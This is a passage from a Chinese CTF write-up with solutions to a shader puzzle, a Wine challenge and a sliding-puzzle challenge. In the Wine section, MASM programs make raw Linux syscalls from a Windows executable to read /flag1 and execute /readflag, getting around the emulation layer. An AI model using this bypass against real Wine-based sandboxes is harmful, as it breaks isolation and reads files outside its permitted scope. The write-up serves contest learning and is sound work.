<p>查看源代码,发现是基于有符号距离函数的 Ray marching 渲染器(以前我还 <a href="https://benpigchu.github.io/pikanote/article/shadertoy-raymarching-sdf.html" target="_blank" rel="noopener">专门写了文章介绍这种做法</a>)。其中 <code class="language-plaintext highlighter-rouge">t5SDF</code> 一项显然是那个巨大的挡住 flag 内容的东西,用 Chrome 的开发者工具的 Source 一栏内的 Overrides 一项把这一部分去掉再渲染就能看到答案了。</p>
<h2 id="杯窗鹅影---flag1">杯窗鹅影 - flag1</h2>
<p>经过一番搜索,发现 <a href="https://www.reddit.com/r/linux/comments/5nuq9i/linux_syscalls_in_exe_running_through_wine/" target="_blank" rel="noopener">wine 中运行的 Windows 程序似乎居然可以直接调用 Linux 系统调用</a>(我还以为有 <a href="https://lwn.net/Articles/824380/" target="_blank" rel="noopener">拦截 syscall 重新实现的机制</a> 呢)。那么,为了确认我们还需要造一个能调用 Linux 系统调用的 Windows 程序。由于 MSVC 的 x64 版本根本不支持内联汇编,我决定用 MASM 硬写汇编。这里我参考了 <a href="https://github.com/RahmatSaeedi/MASM_Tutorials" target="_blank" rel="noopener">这份教程</a>。以下是实验代码:</p>
<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">.code</span>
<span class="nf">main</span> <span class="nv">proc</span>
<span class="nf">mov</span> <span class="nb">rdi</span><span class="p">,</span> <span class="mi">1</span>
<span class="nf">lea</span> <span class="nb">rsi</span><span class="p">,</span> <span class="nv">msg</span>
<span class="nf">mov</span> <span class="nb">rdx</span><span class="p">,</span> <span class="mi">11</span>
<span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="mi">1</span>
<span class="nf">syscall</span>
<span class="nf">mov</span> <span class="nb">rdi</span><span class="p">,</span> <span class="mi">0</span>
<span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="mi">60</span>
<span class="nf">syscall</span>
<span class="nf">main</span> <span class="nv">endp</span>
<span class="nf">.data</span>
<span class="nf">msg</span> <span class="kt">byte</span> <span class="s">"Hello World"</span><span class="p">,</span> <span class="mh">0Ah</span><span class="p">,</span> <span class="mh">0Dh</span>
<span class="nf">end</span>
</code></pre></div></div>
<p>编译指令如下(需要使用 Visual Studio 的那个 x64 Native Tools Command Prompt):</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="go">ml64.exe a.asm /link /SUBSYSTEM:CONSOLE /ENTRY:main /OUT:a.exe
</span></code></pre></div></div>
<p>上传后居然可以输出 Hello World,说明这样确实工作。那么为了拿到第一个 flag,我们只需要读写 <code class="language-plaintext highlighter-rouge">/flag1</code> 文件即可。代码如下:</p>
<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">.code</span>
<span class="nf">main</span> <span class="nv">proc</span>
<span class="nf">lea</span> <span class="nb">rdi</span><span class="p">,</span> <span class="nv">filename</span>
<span class="nf">mov</span> <span class="nb">rsi</span><span class="p">,</span> <span class="mi">0</span>
<span class="nf">mov</span> <span class="nb">rdx</span><span class="p">,</span> <span class="mi">0</span>
<span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="mi">2</span>
<span class="nf">syscall</span>
<span class="nf">mov</span> <span class="nb">rdi</span><span class="p">,</span> <span class="nb">rax</span>
<span class="nf">lea</span> <span class="nb">rsi</span><span class="p">,</span> <span class="nv">msg</span>
<span class="nf">mov</span> <span class="nb">rdx</span><span class="p">,</span> <span class="mi">1024</span>
<span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="mi">0</span>
<span class="nf">syscall</span>
<span class="nf">mov</span> <span class="nb">rdi</span><span class="p">,</span> <span class="mi">1</span>
<span class="nf">lea</span> <span class="nb">rsi</span><span class="p">,</span> <span class="nv">msg</span>
<span class="nf">mov</span> <span class="nb">rdx</span><span class="p">,</span> <span class="nb">rax</span>
<span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="mi">1</span>
<span class="nf">syscall</span>
<span class="nf">mov</span> <span class="nb">rdi</span><span class="p">,</span> <span class="mi">0</span>
<span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="mi">60</span>
<span class="nf">syscall</span>
<span class="nf">main</span> <span class="nv">endp</span>
<span class="nf">.data</span>
<span class="nf">filename</span> <span class="kt">byte</span> <span class="s">"/flag1"</span>
<span class="nf">msg</span> <span class="kt">byte</span> <span class="mh">00h</span> <span class="nv">dup</span> <span class="p">(</span><span class="mi">1024</span><span class="p">)</span>
<span class="nf">end</span>
</code></pre></div></div>
<h2 id="杯窗鹅影---flag2">杯窗鹅影 - flag2</h2>
<p>这次我们直接执行 exec。代码如下:</p>
<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">.code</span>
<span class="nf">main</span> <span class="nv">proc</span>
<span class="nf">lea</span> <span class="nb">rdi</span><span class="p">,</span> <span class="nv">filename</span>
<span class="nf">mov</span> <span class="nb">rsi</span><span class="p">,</span> <span class="mi">0</span>
<span class="nf">mov</span> <span class="nb">rdx</span><span class="p">,</span> <span class="mi">0</span>
<span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="mi">59</span>
<span class="nf">syscall</span>
<span class="nf">mov</span> <span class="nb">rdi</span><span class="p">,</span> <span class="mi">0</span>
<span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="mi">60</span>
<span class="nf">syscall</span>
<span class="nf">main</span> <span class="nv">endp</span>
<span class="nf">.data</span>
<span class="nf">filename</span> <span class="kt">byte</span> <span class="s">"/readflag"</span>
<span class="nf">msg</span> <span class="kt">byte</span> <span class="mh">00h</span> <span class="nv">dup</span> <span class="p">(</span><span class="mi">1024</span><span class="p">)</span>
<span class="nf">end</span>
</code></pre></div></div>
<h2 id="企鹅拼盘---大力当然出奇迹啦">企鹅拼盘 - 大力当然出奇迹啦~</h2>
<p>如小题名称所述,大力出奇迹,直接遍历爆破。为此我在题目代码中加入了专门的爆破功能,代码如下:</p>
<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="k">async</span> <span class="k">def</span> <span class="nf">action_test</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="bp">self</span><span class="p">.</span><span class="n">pc</span> <span class="o">=</span> <span class="mi">0</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">2</span><span class="o">**</span><span class="bp">self</span><span class="p">.</span><span class="n">bitlength</span><span class="p">):</span>
<span class="bp">self</span><span class="p">.</span><span class="n">inbits</span><span class="o">=</span><span class="p">[(</span><span class="n">i</span><span class="o">//</span><span class="p">(</span><span class="mi">2</span><span class="o">**</span><span class="n">b</span><span class="p">))</span><span class="o">%</span><span class="mi">2</span> <span class="k">for</span> <span class="n">b</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">bitlength</span><span class="p">)]</span>
<span class="bp">self</span><span class="p">.</span><span class="n">pc</span> <span class="o">=</span> <span class="mi">0</span>
<span class="bp">self</span><span class="p">.</span><span class="n">pc</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">branches</span><span class="p">)</span>
<span class="bp">self</span><span class="p">.</span><span class="n">run_pc</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">pc</span><span class="p">)</span>
<span class="k">if</span> <span class="nb">bool</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">board</span><span class="p">):</span>
<span class="bp">self</span><span class="p">.</span><span class="n">watch_pc</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">pc</span><span class="p">)</span>
<span class="k">break</span>
<span class="k">if</span> <span class="n">i</span><span class="o">%</span><span class="mi">256</span><span class="o">==</span><span class="mi">0</span><span class="p">:</span>
<span class="bp">self</span><span class="p">.</span><span class="n">watch_pc</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">pc</span><span class="p">)</span>
</code></pre></div></div>
<p>上面的代码里有个新的 run_pc,这是因为为了减少图形界面的刷新把计算和显示分开了。</p>
<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="k">def</span> <span class="nf">run_pc</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">index</span><span class="p">):</span>
<span class="bp">self</span><span class="p">.</span><span class="n">board</span><span class="p">.</span><span class="n">reset</span><span class="p">()</span>
<span class="k">for</span> <span class="n">branch</span> <span class="ow">in</span> <span class="bp">self</span><span class="p">.</span><span class="n">branches</span><span class="p">[:</span><span class="n">index</span><span class="p">]:</span>
<span class="bp">self</span><span class="p">.</span><span class="n">board</span><span class="p">.</span><span class="n">move</span><span class="p">(</span><span class="n">branch</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="k">if</span> <span class="bp">self</span><span class="p">.</span><span class="n">inbits</span><span class="p">[</span><span class="n">branch</span><span class="p">[</span><span class="mi">0</span><span class="p">]]</span> <span class="k">else</span> <span class="n">branch</span><span class="p">[</span><span class="mi">2</span><span class="p">])</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">16</span><span class="p">):</span>
<span class="bp">self</span><span class="p">.</span><span class="n">blocks</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">set_i</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">board</span><span class="p">.</span><span class="n">b</span><span class="p">[</span><span class="n">i</span><span class="o">//</span><span class="mi">4</span><span class="p">][</span><span class="n">i</span> <span class="o">%</span> <span class="mi">4</span><span class="p">])</span>
<span class="k">def</span> <span class="nf">watch_pc</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">index</span><span class="p">):</span>
<span class="bp">self</span><span class="p">.</span><span class="n">run_pc</span><span class="p">(</span><span class="n">index</span><span class="p">)</span>
<span class="bp">self</span><span class="p">.</span><span class="n">info</span><span class="p">.</span><span class="n">set_info</span><span class="p">({</span><span class="s">'bT'</span><span class="p">:</span> <span class="bp">self</span><span class="p">.</span><span class="n">branches</span><span class="p">[</span><span class="n">index</span><span class="p">][</span><span class="mi">1</span><span class="p">]</span> <span class="k">if</span> <span class="n">index</span> <span class="o"><</span> <span class="nb">len</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">branches</span><span class="p">)</span> <span class="k">else</span> <span class="s">''</span><span class="p">,</span>
<span class="s">'bF'</span><span class="p">:</span> <span class="bp">self</span><span class="p">.</span><span class="n">branches</span><span class="p">[</span><span class="n">index</span><span class="p">][</span><span class="mi">2</span><span class="p">]</span> <span class="k">if</span> <span class="n">index</span> <span class="o"><</span> <span class="nb">len</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">branches</span><span class="p">)</span> <span class="k">else</span> <span class="s">''</span><span class="p">,</span>
<span class="s">'inbits'</span><span class="p">:</span> <span class="bp">self</span><span class="p">.</span><span class="n">inbits</span><span class="p">,</span>
<span class="s">'ib'</span><span class="p">:</span> <span class="bp">self</span><span class="p">.</span><span class="n">branches</span><span class="p">[</span><span class="n">index</span><span class="p">][</span><span class="mi">0</span><span class="p">]</span> <span class="k">if</span> <span class="n">index</span> <span class="o"><</span> <span class="nb">len</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">branches</span><span class="p">)</span> <span class="k">else</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span>
<span class="s">'scrambled'</span><span class="p">:</span> <span class="nb">bool</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">board</span><span class="p">),</span>
<span class="s">'pc'</span><span class="p">:</span> <span class="n">index</span><span class="p">,</span>
<span class="s">'lb'</span><span class="p">:</span> <span class="nb">len</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">branches</span><span class="p">),</span>
<span class="s">'hl'</span><span class="p">:</span> <span class="o">-</span><span class="mi">1</span><span class="p">})</span>
</code></pre></div></div>
<p>实际爆破用时还挺长的,所以第三小题肯定不能爆破。</p>
<h2 id="企鹅拼盘---这个拼盘能靠掀桌子弄乱吗">企鹅拼盘 - 这个拼盘。。能靠掀桌子弄乱吗?</h2>
<p>这个数据量,就算是 z3 也是不能直接解出来的。然而观察描述分支的文件,发现每一个分支的判断条件有明显的四个一组 ABAB 的规律。再测试第一题中运行到第四步的结果,发现,只有在 2 和 3 两个比特为特定值时才会有不同的结果,那么大概可以利用这一点得到期望的输入。代码如下:</p>
<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">json</span>
<span class="kn">from</span> <span class="nn">itertools</span> <span class="kn">import</span> <span class="n">zip_longest</span>
<span class="k">def</span> <span class="nf">grouper</span><span class="p">(</span><span class="n">iterable</span><span class="p">,</span> <span class="n">n</span><span class="p">,</span> <span class="n">fillvalue</span><span class="o">=</span><span class="bp">None</span><span class="p">):</span>
<span class="n">args</span> <span class="o">=</span> <span class="p">[</span><span class="nb">iter</span><span class="p">(</span><span class="n">iterable</span><span class="p">)]</span> <span class="o">*</span> <span class="n">n</span>
<span class="k">return</span> <span class="n">zip_longest</span><span class="p">(</span><span class="o">*</span><span class="n">args</span><span class="p">,</span> <span class="n">fillvalue</span><span class="o">=</span><span class="n">fillvalue</span><span class="p">)</span>
<span class="k">class</span> <span class="nc">Board</span><span class="p">:</span>
<span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="bp">self</span><span class="p">.</span><span class="n">b</span> <span class="o">=</span> <span class="p">[[</span><span class="n">i</span><span class="o">*</span><span class="mi">4</span><span class="o">+</span><span class="n">j</span> <span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">4</span><span class="p">)]</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">4</span><span class="p">)]</span>
<span class="k">def</span> <span class="nf">_blkpos</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">4</span><span class="p">):</span>
<span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">4</span><span class="p">):</span>
<span class="k">if</span> <span class="bp">self</span><span class="p">.</span><span class="n">b</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="n">j</span><span class="p">]</span> <span class="o">==</span> <span class="mi">15</span><span class="p">:</span>
<span class="k">return</span> <span class="p">(</span><span class="n">i</span><span class="p">,</span> <span class="n">j</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">reset</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">4</span><span class="p">):</span>
<span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">4</span><span class="p">):</span>
<span class="bp">self</span><span class="p">.</span><span class="n">b</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="n">j</span><span class="p">]</span> <span class="o">=</span> <span class="n">i</span><span class="o">*</span><span class="mi">4</span> <span class="o">+</span> <span class="n">j</span>
<span class="k">def</span> <span class="nf">move</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">moves</span><span class="p">):</span>
<span class="k">for</span> <span class="n">m</span> <span class="ow">in</span> <span class="n">moves</span><span class="p">:</span>
<span class="n">i</span><span class="p">,</span> <span class="n">j</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">_blkpos</span><span class="p">()</span>
<span class="k">if</span> <span class="n">m</span> <span class="o">==</span> <span class="s">'L'</span><span class="p">:</span>
<span class="bp">self</span><span class="p">.</span><span class="n">b</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="n">j</span><span class="p">]</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">b</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="n">j</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
<span class="bp">self</span><span class="p">.</span><span class="n">b</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="n">j</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="mi">15</span>
<span class="k">elif</span> <span class="n">m</span> <span class="o">==</span> <span class="s">'R'</span><span class="p">:</span>
<span class="bp">self</span><span class="p">.</span><span class="n">b</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="n">j</span><span class="p">]</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">b</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="n">j</span><span class="o">+</span><span class="mi">1</span><span class="p">]</span>
<span class="bp">self</span><span class="p">.</span><span class="n">b</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="n">j</span><span class="o">+</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="mi">15</span>
<span class="k">elif</span> <span class="n">m</span> <span class="o">==</span> <span class="s">'U'</span><span class="p">:</span>
<span class="bp">self</span><span class="p">.</span><span class="n">b</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="n">j</span><span class="p">]</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">b</span><span class="p">[</span><span class="n">i</span><span class="o">-</span><span class="mi">1</span><span class="p">][</span><span class="n">j</span><span class="p">]</span>
<span class="bp">self</span><span class="p">.</span><span class="n">b</span><span class="p">[</span><span class="n">i</span><span class="o">-</span><span class="mi">1</span><span class="p">][</span><span class="n">j</span><span class="p">]</span> <span class="o">=</span> <span class="mi">15</span>
<span class="k">else</span><span class="p">:</span>
<span class="bp">self</span><span class="p">.</span><span class="n">b</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="n">j</span><span class="p">]</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">b</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="p">][</span><span class="n">j</span><span class="p">]</span>
<span class="bp">self</span><span class="p">.</span><span class="n">b</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="p">][</span><span class="n">j</span><span class="p">]</span> <span class="o">=</span> <span class="mi">15</span>
<span class="k">def</span> <span class="nf">revmove</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">moves</span><span class="p">):</span>
<span class="k">for</span> <span class="n">m</span> <span class="ow">in</span> <span class="nb">reversed</span><span class="p">(</span><span class="n">moves</span><span class="p">):</span>
<span class="n">i</span><span class="p">,</span> <span class="n">j</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">_blkpos</span><span class="p">()</span>
<span class="k">if</span> <span class="n">m</span> <span class="o">==</span> <span class="s">'R'</span><span class="p">:</span>
<span class="bp">self</span><span class="p">.</span><span class="n">b</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="n">j</span><span class="p">]</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">b</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="n">j</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
<span class="bp">self</span><span class="p">.</span><span class="n">b</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="n">j</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="mi">15</span>
<span class="k">elif</span> <span class="n">m</span> <span class="o">==</span> <span class="s">'L'</span><span class="p">:</span>
<span class="bp">self</span><span class="p">.</span><span class="n">b</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="n">j</span><span class="p">]</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">b</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="n">j</span><span class="o">+</span><span class="mi">1</span><span class="p">]</span>
<span class="bp">self</span><span class="p">.</span><span class="n">b</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="n">j</span><span class="o">+</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="mi">15</span>
<span class="k">elif</span> <span class="n">m</span> <span class="o">==</span> <span class="s">'D'</span><span class="p">:</span>
<span class="bp">self</span><span class="p">.</span><span class="n">b</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="n">j</span><span class="p">]</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">b</span><span class="p">[</span><span class="n">i</span><span class="o">-</span><span class="mi">1</span><span class="p">][</span><span class="n">j</span><span class="p">]</span>
<span class="bp">self</span><span class="p">.</span><span class="n">b</span><span class="p">[</span><span class="n">i</span><span class="o">-</span><span class="mi">1</span><span class="p">][</span><span class="n">j</span><span class="p">]</span> <span class="o">=</span> <span class="mi">15</span>
<span class="k">else</span><span class="p">:</span>
<span class="bp">self</span><span class="p">.</span><span class="n">b</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="n">j</span><span class="p">]</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">b</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="p">][</span><span class="n">j</span><span class="p">]</span>
<span class="bp">self</span><span class="p">.</span><span class="n">b</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="p">][</span><span class="n">j</span><span class="p">]</span> <span class="o">=</span> <span class="mi">15</span>
<span class="k">def</span> <span class="nf">__bool__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">4</span><span class="p">):</span>
<span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">4</span><span class="p">):</span>
<span class="k">if</span> <span class="bp">self</span><span class="p">.</span><span class="n">b</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="n">j</span><span class="p">]</span> <span class="o">!=</span> <span class="n">i</span><span class="o">*</span><span class="mi">4</span> <span class="o">+</span> <span class="n">j</span><span class="p">:</span>
<span class="k">return</span> <span class="bp">True</span>
<span class="k">return</span> <span class="bp">False</span>
<span class="k">def</span> <span class="nf">__eq__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">other</span><span class="p">):</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">4</span><span class="p">):</span>
<span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">4</span><span class="p">):</span>
<span class="k">if</span> <span class="bp">self</span><span class="p">.</span><span class="n">b</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="n">j</span><span class="p">]</span> <span class="o">!=</span> <span class="n">other</span><span class="p">.</span><span class="n">b</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="n">j</span><span class="p">]:</span>
<span class="k">return</span> <span class="bp">False</span>
<span class="k">return</span> <span class="bp">True</span>
<span class="k">def</span> <span class="nf">reduceBranches</span><span class="p">(</span><span class="n">branches</span><span class="p">,</span><span class="n">bit</span><span class="p">):</span>
<span class="n">board</span><span class="o">=</span><span class="n">Board</span><span class="p">()</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">branches</span><span class="p">)):</span>
<span class="n">board</span><span class="p">.</span><span class="n">move</span><span class="p">(</span><span class="n">branches</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="n">bit</span><span class="p">[</span><span class="n">i</span><span class="p">]])</span>
<span class="k">return</span> <span class="n">board</span>
<span class="k">def</span> <span class="nf">generateResult</span><span class="p">(</span><span class="n">branches</span><span class="p">,</span><span class="n">value</span><span class="p">):</span>
<span class="k">return</span> <span class="p">{</span>
<span class="n">branches</span><span class="p">[</span><span class="mi">0</span><span class="p">][</span><span class="mi">0</span><span class="p">]:</span><span class="n">value</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span>
<span class="n">branches</span><span class="p">[</span><span class="mi">1</span><span class="p">][</span><span class="mi">0</span><span class="p">]:</span><span class="n">value</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span>
<span class="p">}</span>
<span class="k">def</span> <span class="nf">analyze</span><span class="p">(</span><span class="n">branches</span><span class="p">):</span>
<span class="k">if</span> <span class="n">branches</span><span class="p">[</span><span class="mi">0</span><span class="p">][</span><span class="mi">0</span><span class="p">]</span> <span class="o">!=</span> <span class="n">branches</span><span class="p">[</span><span class="mi">2</span><span class="p">][</span><span class="mi">0</span><span class="p">]:</span>
<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"invalid chunk"</span><span class="p">)</span>
<span class="k">if</span> <span class="n">branches</span><span class="p">[</span><span class="mi">1</span><span class="p">][</span><span class="mi">0</span><span class="p">]</span> <span class="o">!=</span> <span class="n">branches</span><span class="p">[</span><span class="mi">3</span><span class="p">][</span><span class="mi">0</span><span class="p">]:</span>
<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"invalid chunk"</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">branches</span><span class="p">[</span><span class="mi">0</span><span class="p">][</span><span class="mi">0</span><span class="p">],</span><span class="n">branches</span><span class="p">[</span><span class="mi">1</span><span class="p">][</span><span class="mi">0</span><span class="p">])</span>
<span class="n">board00</span><span class="o">=</span><span class="n">reduceBranches</span><span class="p">(</span><span class="n">branches</span><span class="p">,[</span><span class="mi">2</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">2</span><span class="p">])</span>
<span class="n">board01</span><span class="o">=</span><span class="n">reduceBranches</span><span class="p">(</span><span class="n">branches</span><span class="p">,[</span><span class="mi">2</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">1</span><span class="p">])</span>
<span class="n">board10</span><span class="o">=</span><span class="n">reduceBranches</span><span class="p">(</span><span class="n">branches</span><span class="p">,[</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">])</span>
<span class="n">board11</span><span class="o">=</span><span class="n">reduceBranches</span><span class="p">(</span><span class="n">branches</span><span class="p">,[</span><span class="mi">1</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">1</span><span class="p">])</span>
<span class="k">print</span><span class="p">(</span><span class="n">board00</span><span class="p">.</span><span class="n">b</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">board01</span><span class="p">.</span><span class="n">b</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">board10</span><span class="p">.</span><span class="n">b</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">board11</span><span class="p">.</span><span class="n">b</span><span class="p">)</span>
<span class="k">if</span> <span class="p">(</span><span class="n">board00</span> <span class="o">==</span> <span class="n">board01</span><span class="p">)</span> <span class="ow">and</span> <span class="p">(</span><span class="n">board01</span> <span class="o">==</span> <span class="n">board10</span><span class="p">)</span> <span class="ow">and</span> <span class="p">(</span><span class="n">board10</span> <span class="o">!=</span> <span class="n">board11</span><span class="p">)</span> <span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="s">"11"</span><span class="p">)</span>
<span class="k">return</span> <span class="n">generateResult</span><span class="p">(</span><span class="n">branches</span><span class="p">,[</span><span class="mi">1</span><span class="p">,</span><span class="mi">1</span><span class="p">])</span>
<span class="k">if</span> <span class="p">(</span><span class="n">board01</span> <span class="o">==</span> <span class="n">board10</span><span class="p">)</span> <span class="ow">and</span> <span class="p">(</span><span class="n">board10</span> <span class="o">==</span> <span class="n">board11</span><span class="p">)</span> <span class="ow">and</span> <span class="p">(</span><span class="n">board11</span> <span class="o">!=</span> <span class="n">board00</span><span class="p">)</span> <span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="s">"00"</span><span class="p">)</span>
<span class="k">return</span> <span class="n">generateResult</span><span class="p">(</span><span class="n">branches</span><span class="p">,[</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">])</span>
<span class="k">if</span> <span class="p">(</span><span class="n">board10</span> <span class="o">==</span> <span class="n">board11</span><span class="p">)</span> <span class="ow">and</span> <span class="p">(</span><span class="n">board11</span> <span class="o">==</span> <span class="n">board00</span><span class="p">)</span> <span class="ow">and</span> <span class="p">(</span><span class="n">board00</span> <span class="o">!=</span> <span class="n">board01</span><span class="p">)</span> <span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="s">"01"</span><span class="p">)</span>
<span class="k">return</span> <span class="n">generateResult</span><span class="p">(</span><span class="n">branches</span><span class="p">,[</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">])</span>
<span class="k">if</span> <span class="p">(</span><span class="n">board11</span> <span class="o">==</span> <span class="n">board00</span><span class="p">)</span> <span class="ow">and</span> <span class="p">(</span><span class="n">board00</span> <span class="o">==</span> <span class="n">board01</span><span class="p">)</span> <span class="ow">and</span> <span class="p">(</span><span class="n">board01</span> <span class="o">!=</span> <span class="n">board10</span><span class="p">)</span> <span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="s">"10"</span><span class="p">)</span>
